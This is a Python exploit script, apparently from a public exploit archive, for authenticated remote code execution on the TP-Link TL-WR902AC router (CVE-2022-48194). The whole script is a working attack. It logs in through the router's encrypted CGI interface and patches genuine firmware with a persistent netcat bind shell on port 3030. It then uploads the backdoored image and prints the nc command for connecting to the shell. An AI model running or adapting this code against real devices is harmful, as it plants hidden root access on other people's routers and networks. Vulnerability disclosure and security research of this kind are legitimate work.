TP-Link TL-WR902AC Remote Code Execution

`# !/usr/bin/python3  
  
# Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)  
# Exploit Author: Tobias Müller  
# Date: 2022-12-01  
# Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329  
# Vendor Homepage: https://www.tp-link.com/  
# Tested On: TP-Link TL-WR902AC  
# Vulnerability Description: Remote Code Execution via importing malicious firmware file  
# CVE: CVE-2022-48194  
# Technical Details: https://github.com/otsmr/internet-of-vulnerable-things  
  
TARGET_HOST = "192.168.0.1"  
ADMIN_PASSWORD = "admin"  
TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip"  
  
  
import requests  
import os  
import glob  
import subprocess  
import base64, os, hashlib  
from Crypto.Cipher import AES, PKCS1_v1_5 # pip install pycryptodome  
from Crypto.PublicKey import RSA  
from Crypto.Util.Padding import pad  
  
  
  
for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]:  
if "not found" in subprocess.check_output(["which", program]).decode():  
print(f"[!] need {program} to run")  
exit(1)  
  
  
class WebClient(object):  
  
def __init__(self, host, password):  
  
self.host = "http://" + host  
self.password = password  
self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest()  
  
self.aes_key = "7765636728821987"  
self.aes_iv = "8775677306058909"  
  
self.session = requests.Session()  
  
crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text  
  
self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16)  
self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16)  
self.seq = int(crypto_data.split("\n")[3].split('"')[1])  
  
self.jsessionid = self.get_jsessionid()  
  
  
def get_jsessionid(self):  
post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n"  
self.get_encrypted_request_data(post_data, True)  
return self.session.cookies["JSESSIONID"]  
  
def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext):  
cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8'))  
plaintext_padded = pad(plaintext, aes_block_size)  
return cipher.encrypt(plaintext_padded)  
  
def rsa_encrypt(self, n, e, plaintext):  
public_key = RSA.construct((n, e)).publickey()  
encryptor = PKCS1_v1_5.new(public_key)  
block_size = int(public_key.n.bit_length() / 8) - 11  
encrypted_text = ''  
for i in range(0, len(plaintext), block_size):  
encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex()  
return encrypted_text  
  
def get_encrypted_request_data(self, post_data, is_login: bool):  
  
encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8'))  
encrypted_data = base64.b64encode(encrypted_data).decode()  
  
self.seq += len(encrypted_data)  
signature = f"h={self.password_hash}&s={self.seq}"  
if is_login:  
signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature  
  
encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8'))  
  
body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n"  
  
return self.cgi_basic("_gdpr", body)  
  
def cgi_basic(self, url: str, body: str):  
  
res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={  
"Referer": "http://192.168.0.1/"  
})  
  
if res.status_code != 200:  
print(res.text)  
raise ValueError("router not reachable")  
  
return res  
  
  
def cmd(command):  
print("[*] running " + command)  
os.system(command)  
  
def build_backdoor():  
  
if os.path.isdir("./tp_tmp"):  
cmd("rm -r -f ./tp_tmp")  
  
os.mkdir("./tp_tmp")  
os.chdir('./tp_tmp')  
  
print("[*] downloading firmware")  
res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD)  
with open("firmware.zip", "wb") as f:  
f.write(res.content)  
  
print("[*] downloading netcat")  
  
#res = requests.get(NETCAT_PRECOMPILED_FILE)  
#with open("netcat", "wb") as f:  
# f.write(res.content)  
  
if os.path.isfile("netcat"):  
print("[!] netcat not found")  
exit()  
  
cmd('unzip firmware.zip')  
filename = glob.glob("TL-*.bin")[0]  
cmd(f"mv '{filename}' firmware.bin")  
cmd('binwalk --dd=".*" firmware.bin')  
cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200')  
  
with open("./squashfs-root/etc/init.d/back", "w") as f:  
f.write("""  
#!/bin/sh  
while true;  
do  
netcat -l -p 3030 -e /bin/sh  
sleep 5  
done  
""")  
  
cmd("chmod +x ./squashfs-root/etc/init.d/back")  
  
with open("./squashfs-root/etc/init.d/rcS", "r+") as f:  
  
content = f.read()  
content = content.replace("cos &", "/etc/init.d/back &\ncos &")  
f.write(content)  
  
cmd("cp netcat ./squashfs-root/usr/bin/")  
cmd("chmod +x ./squashfs-root/usr/bin/netcat")  
  
cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144")  
  
size = subprocess.check_output(["file", "backdoor.squashfs"]).decode()  
offset = int(size.split(" ")[9]) + 1442304  
cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304")  
cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304")  
cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}")  
  
os.chdir('../')  
  
cmd(f"mv ./tp_tmp/backdoor.bin .")  
cmd("rm -r -f ./tp_tmp")  
  
def upload_backdoor():  
  
wc = WebClient(TARGET_HOST, ADMIN_PASSWORD)  
  
print("[*] uploading backdoor")  
  
files = {  
'filename': open('backdoor.bin','rb')  
}  
  
re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={  
"JSESSIONID": wc.jsessionid  
}, headers={  
"Referer": "http://192.168.0.1/mainFrame.htm"  
}, files=files)  
  
if re_upload.status_code != 200 or "OK" not in re_upload.text:  
print("[!] error")  
exit(1)  
  
print("[*] success!")  
  
print("\nWait for router restart, then run:")  
print("nc 192.168.0.1 3030")  
  
  
build_backdoor()  
upload_backdoor()  
  
`